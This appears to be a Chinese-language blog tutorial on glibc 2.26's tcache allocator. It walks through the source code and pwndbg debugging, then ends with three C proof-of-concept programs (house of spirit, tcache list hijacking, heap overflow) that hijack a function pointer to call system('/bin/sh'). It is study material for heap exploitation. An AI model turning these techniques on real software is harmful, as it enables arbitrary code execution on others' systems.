tcache 源码分析及利用思路

tcache,全称是thread local caching,是libc 2.26版本中新增加的内存管理机制,属于一种缓存机制,处理逻辑位于malloc函数和free函数中,优先级较高,第一次见到这个结构是在34C3 CTF中的SimpleGC一题。

总体简介

tcache是一个用于加速malloc分配的缓存结构,有由64个链表组成。其优先级很高,会先于全部的bin来处理。每个链表的个数是一定的,当缓存链表装满时,分配方式就与之前版本的malloc相同。但使用了tcache版本的malloc与free函数时,对于堆块的安全性检查就相比于之前的版本弱化很多。

本文依据的代码是libc 2.26,最新出的libc 2.27似乎与2.26相差不多,多了一个SINGLE_THREAD_P变量,用于细化单线程与多线程的处理逻辑,对此研究不深。

数据结构

tcache增加了两个全新的结构体,tcache_entry、tcache_perthread_struct。并且在libc内部定义了两个线程局部变量,该局部变量使得在每一个线程内部维护一个tcache结构,当在某线程内部释放内存时,无论内存块属于哪个分配区,都会挂到释放该内存块线程的tcache中。

tcache_entry结构体,看上去并不明白是做什么用的,但在分析代码中发现,这就是一个单链表结构指针

tcache_pthread_struct结构体,是一个线程tcache的主体,由两个数组组成。其中,entries数据代表tcache的各个链表,共TCACHE_MAX_BINS个(默认为64),counts数组代表每一个单链表内有多少个内存块。

这个tcache结构的组装与fastbin非常相似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;


typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread char tcache_shutting_down = 0;
static __thread tcache_perthread_struct *tcache = NULL;

常量定义:从常量中可以看出,默认配置情况下,结构体最多的单链表个数是64个,每个单链表中最多有7个内存块,可容纳的最大内存块大小是1032。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# define TCACHE_MAX_BINS		64
# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)

/* Only used to pre-fill the tunables. */
# define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)

/* When "x" is from chunksize(). */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size. */
# define usize2tidx(x) csize2tidx (request2size (x))

/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */

/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7

生成与调试

这部分应该写在下一部分,不过在我刚开始动手调试时就遇到了问题,就是 __thread 变量的问题,这个变量是线程内访问的,所以当我在gdb中使用 p tcache 命令输出结构体时出现了错误:

1
2
Cannot find thread-local storage for process 27690, shared library /lib/x86_64-linux-gnu/libc.so.6:
Cannot find thread-local variables on this target

就很懵,调试时不能查看结构体数值不就很蛋疼么。。。然后在博客内请教了大佬,还没回我,我就继续分析代码,找到了解决问题的方法(如果有人知道如何直接查看,麻烦告知我

在代码中发现了一个初始化函数 tcache_init()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);

if (tcache_shutting_down)
return;

arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}


if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);

/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}

}

发现tcache是一个指针,而内存块居然是用_int_malloc生成的,这就是说我们可以不管这个线程局部变量,直接去找这块内存就好了。

继续跟踪函数调用,过程是

1
2
3
4
malloc
__libc_malloc
MAYBE_INIT_TCACHE
tcache_init

而MAYBE_INIT_TCACHE的位置在arena_get之前,并且tcache_init中还包含arena_get函数。结合上一篇对于内存堆分配区的知识,这就可以判断,在对线程的分配区初始化之后,第一个分配的内存就是tcache内存块。

在主分配区该结构是heap段第一块内存,在非主分配应该在sub_heap和thread_state结构体以后

因此首先用vmmap 找到heap地址之后,就可以查看该结构体内容了,进而可以继续调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/p4nda/Desktop/1
0x555555754000 0x555555755000 r--p 1000 0 /home/p4nda/Desktop/1
0x555555755000 0x555555756000 rw-p 1000 1000 /home/p4nda/Desktop/1
0x555555756000 0x555555777000 rw-p 21000 0 [heap]
0x7ffff79f5000 0x7ffff7bcb000 r-xp 1d6000 0 /lib/x86_64-linux-gnu/libc-2.26.so
0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1d6000 /lib/x86_64-linux-gnu/libc-2.26.so
0x7ffff7dcb000 0x7ffff7dcf000 r--p 4000 1d6000 /lib/x86_64-linux-gnu/libc-2.26.so
0x7ffff7dcf000 0x7ffff7dd1000 rw-p 2000 1da000 /lib/x86_64-linux-gnu/libc-2.26.so
0x7ffff7dd1000 0x7ffff7dd5000 rw-p 4000 0
0x7ffff7dd5000 0x7ffff7dfc000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.26.so
0x7ffff7fe0000 0x7ffff7fe2000 rw-p 2000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.26.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.26.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> p *(struct tcache_perthread_struct *)0x555555756000
$1 = {
counts = "\000\000\000\000\000\000\000\000Q\002", '\000' <repeats 53 times>,
entries = {0x0 <repeats 64 times>}
}
pwndbg>

堆分配差异

当加入了tcache机制后,原来的ptmalloc的堆块释放与分配机制存在一定的改变,先看两个函数tcache_get、tcache_put,可以看出这两个函数与fastbin的取出和插入基本完全一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}

内存块放入tcache

内存释放

可以看到,在free函数的最先处理部分,首先是检查释放块是否页对齐及前后堆块的释放情况,便优先放入tcache结构中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */

size = chunksize (p);

/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");

check_inuse_chunk(av, p);

#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);

if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
#endif

......
}

内存申请

在内存分配的malloc函数中有多处,会将内存块移入tcache中。

首先,申请的内存块符合fastbin大小时并且找到在fastbin内找到可用的空闲块时,会把该fastbin链上的其他内存块放入tcache中。

其次,申请的内存块符合smallbin大小时并且找到在smallbin内找到可用的空闲块时,会把该smallbin链上的其他内存块放入tcache中。

还有,当在unsorted bin链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到tcache中,继续处理。

高能预警:代码经过剪切,仍然很长…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
static void *
_int_malloc (mstate av, size_t bytes)
{
... 变量定义 ...
#if USE_TCACHE
size_t tcache_unsorted_count; /* count of unsorted chunks processed */
#endif
...
======= 1. 申请块符合fastbin块大小 ========
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;

if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
else
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

======= 2. 申请块符合smallbin块大小 ========
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

...

#if USE_TCACHE
INTERNAL_SIZE_T tcache_nb = 0;
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
tcache_nb = nb;
int return_cached = 0;

tcache_unsorted_count = 0;
#endif
====== 循环处理unsorted bin内存块 ========
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
......

if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
......
}

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

/* Take now instead of binning if exact fit */

if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
#if USE_TCACHE
/* Fill cache first, return to user only if cache fills.
We may return one of these chunks later. */
if (tcache_nb
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (victim, tc_idx);
return_cached = 1;
continue;
}
else
{
#endif
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
#if USE_TCACHE
}
#endif
}

...
}

内存块从tcache中取出

直接分配

在内存申请的开始部分,首先会判断申请大小块,在tcache是否存在,如果存在就直接从tcache中摘取,否则再使用_int_malloc分配。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void *
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;

void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes = request2size (bytes);
size_t tc_idx = csize2tidx (tbytes);

MAYBE_INIT_TCACHE ();

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif

arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
....
}

最大值限制

在循环处理unsorted bin内存块是,如果达到放入unsorted bin块最大数量时,会立即返回。默认是0,即不存在上限。

1
2
3
4
5
6
7
8
9
10
11
#if USE_TCACHE
/* If we've processed as many chunks as we're allowed while
filling the cache, return one of the cached ones. */
++tcache_unsorted_count;
if (return_cached
&& mp_.tcache_unsorted_limit > 0
&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
{
return tcache_get (tc_idx);
}
#endif

unsorted bin处理结束

在循环处理unsorted bin内存块后,如果之前曾放入过tcache块,则会取出一个并返回。

1
2
3
4
5
6
7
#if USE_TCACHE
/* If all the small chunks we found ended up cached, return one now. */
if (return_cached)
{
return tcache_get (tc_idx);
}
#endif

利用方式

house_of_spirit

当tcache存在时,释放堆块没有对堆块的前后堆块进行合法性校验,只需要构造本块对齐就可以成功将任意构造的堆块释放到tcache中,而在申请时,tcache对内部大小合适的堆块也是直接分配的,并且对于在tcache内任意大小的堆块管理方式是一样的,导致常见的house_of_spirit可以延伸到smallbin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 #include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

typedef size_t INTERNAL_SIZE_T;

struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;

};

typedef struct malloc_chunk* mchunkptr;

int main(int argc, const char* argv[]) {

size_t fake_chunk_and_more[64];
void (* c)(char *) ;
fake_chunk_and_more[5] = (size_t )puts; //If a funtion ptr stored here...
printf("This example showcases how the House of Spirit became more powerful " \
" after the tcache patch\n");
printf("Filling space at and after the fake chunk with invalid data\n");
memset(fake_chunk_and_more, 'A', sizeof(fake_chunk_and_more));
printf("Building fake chunk on the stack at %p\n", (void *)fake_chunk_and_more);
mchunkptr fake_chunk = (mchunkptr)(void *)fake_chunk_and_more;
fake_chunk->size = 0x90;
void *mem = (void*)((char*)fake_chunk + offsetof(struct malloc_chunk, fd));
free(mem);
printf("Passed chunk to free, let's make an allocation for the fake size\n");
size_t *mem2 = malloc(0x80);
mem2[3] = (size_t )system;
printf("malloc(0x80) returned: %p\n", mem2);
c = fake_chunk_and_more[5];
(*c)("/bin/sh");
return 0;

}

tcache链表劫持

可以发现,tcache链表的插入和摘除方式与fastbin是基本一致的,也同样可以对tcache的链表进行劫持,并且,由于分配内存时对size没有任何校验。因此,比fastbin dup更容易利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <malloc.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>


typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

size_t *chunksizep(void *mem) {
return (size_t *)(((char *)mem) - sizeof(size_t));
}

int main(int argc, const char* argv[]) {
void (* c[6])(char *) ;
printf("If there is a function ptr array here: %p\n",c);
c[3] = puts;
void *mem = malloc(0x80);
printf("malloc a chunk here , %p. then free it\n ",mem);
tcache_entry *victim = (tcache_entry *)mem;
free(mem);
victim->next = (void *)c;
size_t *mem1 = malloc(0x80);
size_t *mem2 = malloc(0x80);
printf("malloc twice,get addr 1: %p,2: %p\n",mem1,mem2);
mem2[3] = (size_t )system;
(*c[3])("/bin/sh");
return 0;
}

堆溢出

不完全应用于堆溢出,当内存块释放前,size位置被修改为任意包含在tcache范围内时,在释放后都可以被放置在tcache相应位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 #include <malloc.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

size_t *chunksizep(void *mem) {
return (size_t *)(((char *)mem) - sizeof(size_t));
}

int main(int argc, const char* argv[]) {
size_t *a = malloc(0x48);
size_t *b = malloc(0x48);
size_t *c = malloc(0x48);
printf("first , we malloc 3 chunks,1: %p,2: %p,3: %p\n",a,b,c);
void (* ptr)(char *) ;
*c = puts;
printf("overflow....\n");
memset(a, 'a', 0x48+1);
printf("free middle of the three\n ");
free(b);
size_t * d = malloc(0x58);
printf("then malloc a bigger chunk:%p\n ",d);
d[0x58/sizeof(size_t)-1] = system;
printf("%p,%p",c,&d[0x58/sizeof(size_t)-1]);
ptr = *c;
(*ptr)("/bin/sh");

return 0;
}

此外,对于small bin大小的堆块,在smallbin中包含有空闲块的时候,会同时将同大小的其他空闲块,放入tcache中,此时也会出现解链操作,但相比于unlink宏,缺少了链完整性校验。因此,原本unlink操作在该条件下也可以使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif



#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (chunksize_nomask (P)) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

首先,在tcache满的时候释放几个堆块到small bin中,再将原本的堆块malloc回去,使得tcache为空。再次malloc时,会从smallbin中分配,此时会把刚释放的同等大小堆块移入tcache中,此时会出现unlink。

Reference

http://tukan.farm/2017/07/08/tcache/

http://ftp.gnu.org/gnu/glibc/

34C3 CTF —— SimpleGC

文章目录
  1. 1. 总体简介
  2. 2. 数据结构
  3. 3. 生成与调试
  4. 4. 堆分配差异
    1. 4.1. 内存块放入tcache
      1. 4.1.1. 内存释放
      2. 4.1.2. 内存申请
    2. 4.2. 内存块从tcache中取出
      1. 4.2.1. 直接分配
      2. 4.2.2. 最大值限制
      3. 4.2.3. unsorted bin处理结束
  5. 5. 利用方式
    1. 5.1. house_of_spirit
    2. 5.2. tcache链表劫持
    3. 5.3. 堆溢出
    4. 5.4. unlink
  6. 6. Reference
|